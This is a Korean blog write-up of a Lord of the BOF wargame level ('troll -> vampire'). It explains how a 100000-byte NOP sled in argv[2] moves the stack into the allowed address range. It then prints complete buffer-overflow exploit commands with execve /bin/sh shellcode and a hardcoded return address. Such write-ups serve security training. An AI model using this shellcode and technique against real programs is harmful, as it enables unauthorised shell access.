Profile

머리정리하는곳

c2w2m2

[Level9] troll -> vampire


코드를 보니 


RET 부분의 들어갈 주소값이 0xbf000000 ~ 0xbffeeeee 가 되는것을 알 수 있습니다.


먼저 항상 하던대로 argv[2]의 주소를 보면


./exp `python -c 'print "A"*47 + "\xbf" + " "+ "A"'`


=> 0xbffffc64

가 나오게 되는데 우리가 넣어야 할 주소값 사이의 값이 나오지 않습니다...

이거 때문에 고민을 오래했었는데 스택의 성질을 생각해보면 값이 쌓이면 쌓일수록 스택의 크기가 늘어납니다.

따라서 앞에 수많은 NOP을 넣어서 강제로 스택 크기를 넣는다면 되지 않을까 하고 생각했습니다.

그러니 한번 해보죠!


argv[2] 앞에 NOP을 100000 정도 넣고 그 뒤에 shellcode 를 넣으니


0xbffe75ac 주소값이 이렇게 됩니다.


즉 우리가 원하는 주소값 사이의 값이 나왔습니다!


공격을 해보면



./test `python -c 'print "A"*44 + "\xac\x75\xfe\xbf" + " "+ "\x90"*100000 + "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`


그러니 쉘이 나옵니다!


이를 바탕으로 vampire 을 공격하면



./vampire `python -c 'print "A"*44 + "\xac\x75\xfe\xbf" + " "+ "\x90"*100000 + "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`




클리어!





'Pwnable > LOB' 카테고리의 다른 글

[Level11] skeleton -> golem  (0) 2017.05.17
[Level10] vampire -> skeleton  (0) 2017.05.17
[Level 8] orge -> troll  (0) 2017.05.17
[Level7] darkelf -> orge  (0) 2017.05.17
[Level6] wolfman -> darkelf  (0) 2017.05.17